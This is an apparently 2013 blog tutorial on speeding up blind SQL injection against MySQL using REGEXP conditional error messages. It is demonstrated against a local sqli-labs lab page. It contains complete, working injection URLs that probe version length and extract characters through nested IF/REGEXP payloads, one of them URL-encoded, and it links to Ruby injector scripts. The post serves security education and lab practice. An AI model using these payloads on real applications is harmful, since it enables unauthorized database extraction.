Friday, October 4, 2013

MySQL Regexp Conditional Errors & Faster Blind Injections

Today I am going to share a SQL injection method which was new to me, using Regexp conditional errors for speeding up blind injections. Some might call it error based, I will stick to calling it blind myself - you can decide after you read. I will focus on MySQL today, but it is also very similar in MS-SQL with RLIKE so you should be able to connect the dots without too much troubles. I did not invent this or discover it, but I did automate it in Ruby and thought I would share a bit to help highlight it a bit more in hopes others will pick up on it. I have asked and looked around and it doesn't seem to be widely known or covered topic so I thought it would make for a decent blog write up...


Some quick background and helpful links which may give some better insights or get your mind going on how else you can toy with injections and Regexp after reading this article:
  • Original Write-Up on this subject which influenced me:
    • Speeding up Blind SQL Injections using Conditional Errors in MySQL (for which this is a repeat of and my code based on): LINK   
  • Apparently, this is the original writeup on the topic (in Russian), which lead to the above posting being done: LINK 
  • Other helpful links in understanding uses of Regexp and RLIKE:
    • Blind Sql Injection with Regular Expressions Attack, by IHTeam: LINK 
    • REGEXP based SQL INJECTION attacks by nullbyt3: LINK

Available Error Messages from the various Regexp conditions it can encounter while performing pattern matching:

As you can see there is a lot available to work with. I highly recommend checking out all of the above links, especially the first one if you have any time at all as it will likely explain things better than I can. Long story short, we can use Regexp to control MySQL error messages based on the query provided in addition to be able to use it for pattern matching. How is this helpful though? Well in a typical boolean based blind injection you have to play twenty questions to extract your results. This often results in a very high number of requests, which in turn can be very loud & time consuming. If you have the ability to generate verbose error messages on a page then we can likely use Regexp to tweak our normal attack method. Now Regexp actually has 10 possible error messages as noted above, and we will use this to our advantage in our attack. Most importantly, this means we can actually ask 10 questions with each query we send if we structure things right! Can you see the potential time savings yet? Let's continue and help clarify more...

How to test if Regexp Conditional Error Method can be used?
Get it to throw an error of course!
We can mirror the approach one would normally take with a boolean type injection to test if 1=1, however in this case on a true statement the regexp statement evaluates to true and thus returns 1, making our 1=1 query true. In the false case it results in a malformed regexp string being returned which is what actually generates the verbose error messages.

Quick illustration through simple walk-through. First we find your typical SQL Error message as we are walking a site...

Now for our purposes we test a true statement embedded in a regexp statement, should not cause any errors and should return normal page results as it will evaluate to true within, returning value of 1 making regexp true, making our 1=1 a true statement:
 
EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF(1=1,1,''))-- -
ERROR MSG:  None


NOTE: You could use something like 'SELECT 1 REGEXP 1' to bypass simple filters which check for some default boolean injection tests like 'and 1=1'

Now we tweak our test injection to embed a false statement within our regexp and check for the regexp error response which should be triggered as a result of the 1=2 returning false which in turn returns '' back to the regexp which interprets as an unacceptable format due to it being empty expression to match.

EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF(1=2,1,''))-- -
ERROR MSG: Got error 'empty (sub)expression' from regexp


If you get a regexp error message, like the image above, in your response then you should be able to use this method, if not then you will need to resort to an alternative approach using some other means (union, error based, boolean, time, get creative idk). Assuming the coast is clear let's continue injection to show how it works...

Now, similar to boolean injection it is very wise to check the length of results data before trying to extract. You can play with the return value so error is thrown if it exists or not it is up to you, in this example error is thrown on false statements only. If the value is NULL or empty this will throw an error, otherwise it will return true and normal page results displayed.

EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF((select length( (SELECT version()) )>0),1,''))-- -
ERROR MSG: ?



We increment our length comparison value and see the error appear:
EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF((select length( (SELECT version()) )>10),1,''))-- -
ERROR MSG: Got error 'empty (sub)expression' from regexp


You can change our query to ask if it actually is the length by changing our comparison operator to equals. We know its between 0 and 10 in this case, so we simply walk from 0 to 10 and when we do not see an error it will let us know this is the correct value for our result length (the version in this case).

EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF( ( select length( ( SELECT version() ) )=5 ) ,1,'' ) )-- -
ERROR MSG: Got error 'empty (sub)expression' from regexp


EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF( ( select length( ( SELECT version() ) )=6 ) ,1,'' ) )-- -
ERROR MSG: w00t => No Error




If we keep going we will see the errors come back again....
EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' and 1=(SELECT 1 REGEXP IF( ( select length( ( SELECT version() ) )=7 ) ,1,'' ) )-- -
ERROR MSG: Got error 'empty (sub)expression' from regexp


As you see above, we get no error when length is 6, so we know the length of our version() result output is 6 characters in length. Knowing this we can now safely go after the actual result itself. This is where this methods true time savings come into play as well. In boolean injection we are typically restricted to sending query to check one char value which leads to it being so time consuming. Here we will leverage all 10 possible error messages to guess our char value in ranges and then once the range is known we will use 10 guesses at a time until we find it. Given standard 256 ascii charset we can typically guess any char value in 4 requests or less, compared to 10x that in traditional boolean method. Knowing the length is 6, let's know find the full value for the first char so you see how it works to extract...

EXAMPLE:
http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' aNd 1=(SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT version()),1,1))<31,'',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<52,'(',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<73,'[',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<94,'\\\\',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<115,'*',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<136,'a{1,1,1}',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<157,'[a-9]',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<178,'a{1',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<199,'[[.ab.]]',
IF(ASCII(SUBSTRING((SELECT version()),1,1))<230,'[[:ab:]]',1)))))))))))-- -

URLENCODED:
http://192.168.2.43/sqli-labs/Less-5/index.php?id=1'+aNd+1%3D%28SELECT+1+REGEXP+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C31%2C%27%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C52%2C%27%28%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C73%2C%27%5B%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C94%2C%27%5C%5C%5C%5C%27%2CIF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C115%2C%27%2A%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C136%2C%27a%7B1%2C1%2C1%7D%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C157%2C%27%5Ba-9%5D%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C178%2C%27a%7B1%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C199%2C%27%5B%5B.ab.%5D%5D%27%2C+IF%28ASCII%28SUBSTRING%28%28SELECT+version%28%29%29%2C1%2C1%29%29%3C230%2C%27%5B%5B%3Aab%3A%5D%5D%27%2C1%29%29%29%29%29%29%29%29%29%29%29--+-


As you can see in the image above, the above query raises the "Got error 'brackets ([ ]) not balanced' from regexp" error message, aligning with our third IF statement. The first false statement triggered is the winner to the error message throwing party so we use this to determine our ranges. This means that the ascii char value for the first character of our version() result value is in the ascii range of 52-72. Ok, so now we have only 20 possibilities to enumerate in this case. In traditional boolean this may take 10-20 requests, but we only need 2! Depending on where you land or how you break up the ranges in your automated code some may be covered in 2 requests while others need 4 to cover the full target range. Here we go again with examples...

EXAMPLE: http://192.168.2.43/sqli-labs/Less-5/index.php?id=1' aNd 1=(SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT version()),1,1))=51,'',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=52,'(',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=53,'[',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=54,'\\\\',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=55,'*',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=56,'a{1,1,1}',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=57,'[a-9]',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=58,'a{1',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=59,'[[.ab.]]',
IF(ASCII(SUBSTRING((SELECT version()),1,1))=60,'[[:ab:]]',1)))))))))))-- -



Now in this case we get the error thrown on the first request indicating our target char value (would be 3 minimum on a good day using boolean)! In this case we receive the same error message from Regexp which indicates our ascii char value is 53 or after conversion '5'. We know MySQL >= 5 now. We can simply increment the character position within our substring() and get the rest of the values for the full version string. Should we have not received an error on our first request we would have simply incremented our comparison values by 10 to scan the next possible ascii range, 61-70 in this particular case until we threw an error indicating the target value.

Now this method can be applied to pretty much any query you can think of as long as you play nicely with general SQL Syntax and rules. I wrote a simple script to handle boolean blind and then I wrote a separate script to leverage this method. I then did some quick time comparisons to further highlight the time savings involved. In these simple examples I was running the database and vulnerable site on a separate machine via VM which was located on same network.



Your times may vary with network conditions, but the time savings of Regexp vs traditional Boolean should be seen regardless of those variables!

Hopefully this brings more people to be aware of this really cool method. Perhaps later I will cover some other ways it can be used in union injections and for fuzzing of tables, databases, readable files, etc. I have provided some proof of concept code so you can test this at home at your leisure to better understand and see how awesome it is. I included some easy to use proxy options as well so if your like me and like to see how it works then I highly encourage you to try that route, it really helps to understand better things if your still scratching your head!

MySQL Regexp Conditional Error Based Injector Source: LINK
MySQL Boolean Based Injector Source: LINK

Both need the 'colorize' & 'curb' gem to work
COMMAND: gem install colorize curb

The above should do the trick on most systems, then the usual chmod +x is needed. Hope this is helpful to someone out there. Please don't hesitate to let me know if you have problems running either script....

Until next time, enjoy!


No comments:

Post a Comment